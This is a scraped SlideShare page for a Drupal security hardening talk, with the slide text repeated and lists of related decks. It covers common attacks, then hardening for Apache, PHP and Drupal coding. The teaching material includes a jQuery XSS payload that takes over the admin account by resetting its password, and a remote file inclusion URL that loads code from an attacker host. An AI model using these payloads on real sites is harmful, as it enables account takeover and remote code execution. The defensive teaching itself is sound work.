SlideShare a Scribd company logo
Drupal Security Hardening
Agenda


●   Anatomy of Vulnerabilities
●   Protecting against Vulnerabilities
Kite Systems is an Agile development house
 which means the client is actively involved
    all the way through the development
                   process.
  We build high quality, secure platforms
 using Java J2EE, Microsoft .NET, Ruby on
         Rails, PHP and Python.
Join Us
About myself, Gerald Villorente

●   Web Developer/themer at Kite Systems Inc.
●   Drupal developer since 2010
●   Drupal PH kids mentor
Is Drupal Secure?
State of being “SECURE”
    A site is secure if:
●   private data is kept private,
●   the site cannot be forced offline or into a
    degraded mode by a remote visitor
●   the site resources are used only for their
    intended purposes
●   the site content can be edited only by
    appropriate users.”
Drupal Security Hardening
Drupal Security Hardening
Week spot of web applications
    For Drupal developer who wants to deliver an
    applications, security do not ends with proper use
    of Drupal security API:
●   OS (MS, Unix, BSD, OS X)
●   Web Server (Apache, IIS, Nginx, ...)
●   Web Platform (php, .NET, ...)
●   Other Services (ftp, …)
●   Web applications - attacks against authentication &
    authorization, site structure, input validation, app logic
●   database - sql injection
●   availability - DoS attacks
Common Drupal attacks

●   XSS
●   CSRF
●   Injection
XSS
 jQuery.get(Drupal.settings.basePath + 'user/1/edit',
   function (data, status) {
     if (status == 'success') {
       // Extract the token and other required data
       var matches = data.match(/id="edit-user-profile-form-form-token" value="([a-z0-9])"/);
       var token = matches[1];
       // Post the minimum amount of fields. Other fields get their default values.
       var payload = {
         "form_id": 'user_profile_form',
         "form_token": token,
         "pass[pass1]": 'hacked',
         "pass[pass2]": 'hacked'
         };
         jQuery.post(Drupal.settings.basePath + 'user/1/edit', payload);
       }
     }
   );
 }
Other Attacks
●   DDoS
●   Remote code execution
    - Exploiting register_globals in PHP

    require ($page . ".php");
    http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt
Demo
Counter Measures
●   Proper use of Drupal API
●   Coding Standard (coder, code_sniffer)
    - Coder & Sniffer demo
●   Keep up with security patches and minor
    releases
●   Permission by role (hook_perm, user_access)
●   Firewall
●   SSL (Secure Socket Layer)
Counter Measures (cont.)
●   File permission
Apache Hardening
●   Disable unneeded modules
●   Implement ModSecurity, Request Filtering,
    Anti-Evasion Techniques, HTTP Filtering
    Rules, Full Audit Logging, HTTPS
    Intercepting, Chroot Functionality, Mask
    Web Server Identity
●   Document root restriction – allow Apache to
    only go to /path/to/public_html
Apache Hardening
●    Chrooting Apache


    $ mkdir -p /var/chroot/apache

    $ adduser --home /var/chroot/apache --shell /bin/false 
        --no-create-home --system --group juandelacruz
PHP Hardening (part 1)
●   turn off register_globals
●   open_basedir - restrict php file access to only
    certain directories
●   disable_functions
●   expose_php - remove php info from http headers
●   display_errors
●   safe_mode - php can use only files which it is an
    owner
●   allow_url_fopen
PHP Hardening (part 2)
●   Suhoshin
    - php engine protection with couple of
    patches
    - range of runtime protection, session
    protection, filtering features and logging
    - features
Drupal Hardening
●   Keep updated
●   Coding standard
●   Install only trusted module, check issue
    queue
●   Use captcha, login_security, single_login,
    password_policy, salt
●   user permission
●   input formats and filter
Drupal Hardening: Coding Standard
 Never write and/or execute sql commands manually, use Drupal DB layer
 use db_query() properly


 don't write
 db_query("SELECT * FROM {users} WHERE name = '$username'") ;


 write this
 db_query("SELECT * FROM {users} WHERE name = '%s'", $username);


 placeholders are: %s, %d, %f, %b, %%


 use db_rewrite_sql to respect node access restrictions
 $result = db_query(db_rewrite_sql("SELECT n.nid, n.title FROM {node} n"));
Drupal Hardening: Form API
●   never write forms that manually uses Drupal's Forms API
●   Forms API protects you from invalid form data
●   Forms API protects you against CSRF
●   don't trust js for input validation - its easy to disable it. If
    you want to use it always check user data on server side.
●   when using AJAX use drupal_get_token and
    drupal_check_token:
●   Calculate hash of defined string, user session and site
    specific secret code
Drupal Hardening: File Upload

●   file_validate_is_image - check if file is really
    an image
●   check_file - check if file is uploaded via
    HTTP POST
●   file_check_location - Check if a file is really
    located inside $directory
●   set disk quotes properly - you don't want to
    fill server hard disk
Drupal Hardening: Respect and define
new permissions
●   consider to use hook_perm in your module
●   wrap your code with user_access
     if (user_access('some permission')) { .... }

●   filter_access($format) – check if user has
    access to requested filter format
●   use menu access arguments
Drupal Hardening: Dont trust user input

    Filter user input, sanitize the output
●   Input Format
●   filter_xss() - Filters HTML to prevent XSS
●   check_plain() - Encodes special characters
    in a plain-text string for display as HTML
●   check_url() - filter dangerous protocol
●   check_markup - Run all the enabled filters
    on a piece of text
Drupal Hardening: Dont trust user input
Again, think like a hacker...
●   Use penetration testing tool
    - Metasploit framework
    - Nessus
    - Nikto
    - Backbox and Backtrack
●   Fix, audit, fix ...
Resources
●   http://drupal.org/security
●   http://drupal.org/writing-secure-code
●   http://crackingdrupal.com
●   http://www.owasp.org
●   http://ha.ckers.org
●   http://www.exploit-db.com
Drupal Security Hardening

More Related Content

PDF
Hack Proof Your Drupal Site
PPT
Securing Drupal 7: Do not get Hacked or Spammed to death!
PDF
Drupal and Security: What You Need to Know
PDF
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
PDF
Attacking Drupal
PDF
Secure Your Wordpress
KEY
Drupal Security Intro
PDF
Secure your site
Hack Proof Your Drupal Site
Securing Drupal 7: Do not get Hacked or Spammed to death!
Drupal and Security: What You Need to Know
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Attacking Drupal
Secure Your Wordpress
Drupal Security Intro
Secure your site

What's hot (20)

PDF
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
PDF
Browser Serving Your Web Application Security - NorthEast PHP 2017
PPTX
Java Secure Coding Practices
PDF
Configuring CQ Security
KEY
DVWA BruCON Workshop
PDF
Drupal Security Basics for the DrupalJax January Meetup
PPTX
DVWA(Damn Vulnerabilities Web Application)
PDF
Hardening Apache Web Server by Aswin
PDF
A Drush Primer - DrupalCamp Chattanooga 2013
PPTX
SANS @Night Talk: SQL Injection Exploited
PPTX
Deep dive into Java security architecture
PDF
WordCamp Finland 2015 - WordPress Security
PDF
10 things every developer should know about their database to run word press ...
PDF
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
PPTX
Cyber ppt
PDF
JavaCro'14 - Securing web applications with Spring Security 3 – Fernando Redo...
PPTX
Bsidesnova- Pentesting Methodology - Making bits less complicated
PDF
Java Security Manager Reloaded - jOpenSpace Lightning Talk
PPSX
Selenium WebDriver
PPT
Top Ten Proactive Web Security Controls v5
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
Browser Serving Your Web Application Security - NorthEast PHP 2017
Java Secure Coding Practices
Configuring CQ Security
DVWA BruCON Workshop
Drupal Security Basics for the DrupalJax January Meetup
DVWA(Damn Vulnerabilities Web Application)
Hardening Apache Web Server by Aswin
A Drush Primer - DrupalCamp Chattanooga 2013
SANS @Night Talk: SQL Injection Exploited
Deep dive into Java security architecture
WordCamp Finland 2015 - WordPress Security
10 things every developer should know about their database to run word press ...
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
Cyber ppt
JavaCro'14 - Securing web applications with Spring Security 3 – Fernando Redo...
Bsidesnova- Pentesting Methodology - Making bits less complicated
Java Security Manager Reloaded - jOpenSpace Lightning Talk
Selenium WebDriver
Top Ten Proactive Web Security Controls v5
Ad

Similar to Drupal Security Hardening (20)

PDF
Drupal Security from Drupalcamp Bratislava
PDF
Looking for Vulnerable Code. Vlad Savitsky
PPTX
OWASP Top 10 vs Drupal - OWASP Benelux 2012
PDF
Drupal campleuven: Secure Drupal Development
PDF
Drupal security
PDF
Doing Drupal security right
PPT
Drupal security
PDF
Drupal and security - Advice for Site Builders and Coders
PDF
Pyramid Deployment and Maintenance
PDF
Rails Security
ODP
TangoWithDjango - ch8
PPTX
Course_Presentation cyber --------------.pptx
PDF
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
PDF
XP Days 2019: First secret delivery for modern cloud-native applications
PDF
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
PDF
Doing Drupal security right from Drupalcon London
PPT
Web Apps Security
PPTX
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
ODP
Keeping your Drupal site secure 2013
PDF
Hong Kong Drupal User Group - Nov 8th
Drupal Security from Drupalcamp Bratislava
Looking for Vulnerable Code. Vlad Savitsky
OWASP Top 10 vs Drupal - OWASP Benelux 2012
Drupal campleuven: Secure Drupal Development
Drupal security
Doing Drupal security right
Drupal security
Drupal and security - Advice for Site Builders and Coders
Pyramid Deployment and Maintenance
Rails Security
TangoWithDjango - ch8
Course_Presentation cyber --------------.pptx
DDD17 - Web Applications Automated Security Testing in a Continuous Delivery...
XP Days 2019: First secret delivery for modern cloud-native applications
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
Doing Drupal security right from Drupalcon London
Web Apps Security
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES
Keeping your Drupal site secure 2013
Hong Kong Drupal User Group - Nov 8th
Ad

More from Gerald Villorente (20)

PDF
Of Docker and Drupal
PDF
Introduction to Kalabox
PDF
Drupal Development : Tools, Tips, and Tricks
PDF
Drupal 101 V-0.1
PDF
BITS 2015: The Beauty of Drupal
ODP
Introduction to Drupal 7
PDF
Introduction to Drupal - Installation, Anatomy, Terminologies
PDF
Consistent Development Environment with Vagrant and Chef
PDF
Drush Deployment Manager: Deployment Made Easy
PDF
Consistent Development Environment using Vagrant and Chef
PDF
Why Drupal is Rockstar?
PDF
DevOps: Cooking Drupal Deployment
PDF
Drupal Pilipinas Apprentice: LAMP Administration, CSS, and Vagrant
ODP
Best Practices: Drupal Development
ODP
Drupal Deployment and Essential Development Tools - 2nd Edition
ODP
Drupal Deployment and Essential Development Tools
ODP
Setting Up Cross-Browser Testing Environment (Debian-based System)
ODP
Git: Git'ing the Basic
ODP
Anatomy of Drupal
Of Docker and Drupal
Introduction to Kalabox
Drupal Development : Tools, Tips, and Tricks
Drupal 101 V-0.1
BITS 2015: The Beauty of Drupal
Introduction to Drupal 7
Introduction to Drupal - Installation, Anatomy, Terminologies
Consistent Development Environment with Vagrant and Chef
Drush Deployment Manager: Deployment Made Easy
Consistent Development Environment using Vagrant and Chef
Why Drupal is Rockstar?
DevOps: Cooking Drupal Deployment
Drupal Pilipinas Apprentice: LAMP Administration, CSS, and Vagrant
Best Practices: Drupal Development
Drupal Deployment and Essential Development Tools - 2nd Edition
Drupal Deployment and Essential Development Tools
Setting Up Cross-Browser Testing Environment (Debian-based System)
Git: Git'ing the Basic
Anatomy of Drupal

Recently uploaded (20)

PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Machine learning based COVID-19 study performance prediction
PPTX
MYSQL Presentation for SQL database connectivity
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Empathic Computing: Creating Shared Understanding
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PPTX
Cloud computing and distributed systems.
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
DOCX
The AUB Centre for AI in Media Proposal.docx
PDF
Encapsulation theory and applications.pdf
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PPTX
Big Data Technologies - Introduction.pptx
Mobile App Security Testing_ A Comprehensive Guide.pdf
Advanced methodologies resolving dimensionality complications for autism neur...
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Machine learning based COVID-19 study performance prediction
MYSQL Presentation for SQL database connectivity
“AI and Expert System Decision Support & Business Intelligence Systems”
Empathic Computing: Creating Shared Understanding
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Cloud computing and distributed systems.
Dropbox Q2 2025 Financial Results & Investor Presentation
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Per capita expenditure prediction using model stacking based on satellite ima...
The AUB Centre for AI in Media Proposal.docx
Encapsulation theory and applications.pdf
20250228 LYD VKU AI Blended-Learning.pptx
Chapter 3 Spatial Domain Image Processing.pdf
Reach Out and Touch Someone: Haptics and Empathic Computing
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Big Data Technologies - Introduction.pptx

Drupal Security Hardening

  • 2. Agenda ● Anatomy of Vulnerabilities ● Protecting against Vulnerabilities
  • 3. Kite Systems is an Agile development house which means the client is actively involved all the way through the development process. We build high quality, secure platforms using Java J2EE, Microsoft .NET, Ruby on Rails, PHP and Python.
  • 5. About myself, Gerald Villorente ● Web Developer/themer at Kite Systems Inc. ● Drupal developer since 2010 ● Drupal PH kids mentor
  • 7. State of being “SECURE” A site is secure if: ● private data is kept private, ● the site cannot be forced offline or into a degraded mode by a remote visitor ● the site resources are used only for their intended purposes ● the site content can be edited only by appropriate users.”
  • 10. Week spot of web applications For Drupal developer who wants to deliver an applications, security do not ends with proper use of Drupal security API: ● OS (MS, Unix, BSD, OS X) ● Web Server (Apache, IIS, Nginx, ...) ● Web Platform (php, .NET, ...) ● Other Services (ftp, …) ● Web applications - attacks against authentication & authorization, site structure, input validation, app logic ● database - sql injection ● availability - DoS attacks
  • 11. Common Drupal attacks ● XSS ● CSRF ● Injection
  • 12. XSS jQuery.get(Drupal.settings.basePath + 'user/1/edit', function (data, status) { if (status == 'success') { // Extract the token and other required data var matches = data.match(/id="edit-user-profile-form-form-token" value="([a-z0-9])"/); var token = matches[1]; // Post the minimum amount of fields. Other fields get their default values. var payload = { "form_id": 'user_profile_form', "form_token": token, "pass[pass1]": 'hacked', "pass[pass2]": 'hacked' }; jQuery.post(Drupal.settings.basePath + 'user/1/edit', payload); } } ); }
  • 13. Other Attacks ● DDoS ● Remote code execution - Exploiting register_globals in PHP require ($page . ".php"); http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt
  • 14. Demo
  • 15. Counter Measures ● Proper use of Drupal API ● Coding Standard (coder, code_sniffer) - Coder & Sniffer demo ● Keep up with security patches and minor releases ● Permission by role (hook_perm, user_access) ● Firewall ● SSL (Secure Socket Layer)
  • 16. Counter Measures (cont.) ● File permission
  • 17. Apache Hardening ● Disable unneeded modules ● Implement ModSecurity, Request Filtering, Anti-Evasion Techniques, HTTP Filtering Rules, Full Audit Logging, HTTPS Intercepting, Chroot Functionality, Mask Web Server Identity ● Document root restriction – allow Apache to only go to /path/to/public_html
  • 18. Apache Hardening ● Chrooting Apache $ mkdir -p /var/chroot/apache $ adduser --home /var/chroot/apache --shell /bin/false --no-create-home --system --group juandelacruz
  • 19. PHP Hardening (part 1) ● turn off register_globals ● open_basedir - restrict php file access to only certain directories ● disable_functions ● expose_php - remove php info from http headers ● display_errors ● safe_mode - php can use only files which it is an owner ● allow_url_fopen
  • 20. PHP Hardening (part 2) ● Suhoshin - php engine protection with couple of patches - range of runtime protection, session protection, filtering features and logging - features
  • 21. Drupal Hardening ● Keep updated ● Coding standard ● Install only trusted module, check issue queue ● Use captcha, login_security, single_login, password_policy, salt ● user permission ● input formats and filter
  • 22. Drupal Hardening: Coding Standard Never write and/or execute sql commands manually, use Drupal DB layer use db_query() properly don't write db_query("SELECT * FROM {users} WHERE name = '$username'") ; write this db_query("SELECT * FROM {users} WHERE name = '%s'", $username); placeholders are: %s, %d, %f, %b, %% use db_rewrite_sql to respect node access restrictions $result = db_query(db_rewrite_sql("SELECT n.nid, n.title FROM {node} n"));
  • 23. Drupal Hardening: Form API ● never write forms that manually uses Drupal's Forms API ● Forms API protects you from invalid form data ● Forms API protects you against CSRF ● don't trust js for input validation - its easy to disable it. If you want to use it always check user data on server side. ● when using AJAX use drupal_get_token and drupal_check_token: ● Calculate hash of defined string, user session and site specific secret code
  • 24. Drupal Hardening: File Upload ● file_validate_is_image - check if file is really an image ● check_file - check if file is uploaded via HTTP POST ● file_check_location - Check if a file is really located inside $directory ● set disk quotes properly - you don't want to fill server hard disk
  • 25. Drupal Hardening: Respect and define new permissions ● consider to use hook_perm in your module ● wrap your code with user_access if (user_access('some permission')) { .... } ● filter_access($format) – check if user has access to requested filter format ● use menu access arguments
  • 26. Drupal Hardening: Dont trust user input Filter user input, sanitize the output ● Input Format ● filter_xss() - Filters HTML to prevent XSS ● check_plain() - Encodes special characters in a plain-text string for display as HTML ● check_url() - filter dangerous protocol ● check_markup - Run all the enabled filters on a piece of text
  • 27. Drupal Hardening: Dont trust user input
  • 28. Again, think like a hacker... ● Use penetration testing tool - Metasploit framework - Nessus - Nikto - Backbox and Backtrack ● Fix, audit, fix ...
  • 29. Resources ● http://drupal.org/security ● http://drupal.org/writing-secure-code ● http://crackingdrupal.com ● http://www.owasp.org ● http://ha.ckers.org ● http://www.exploit-db.com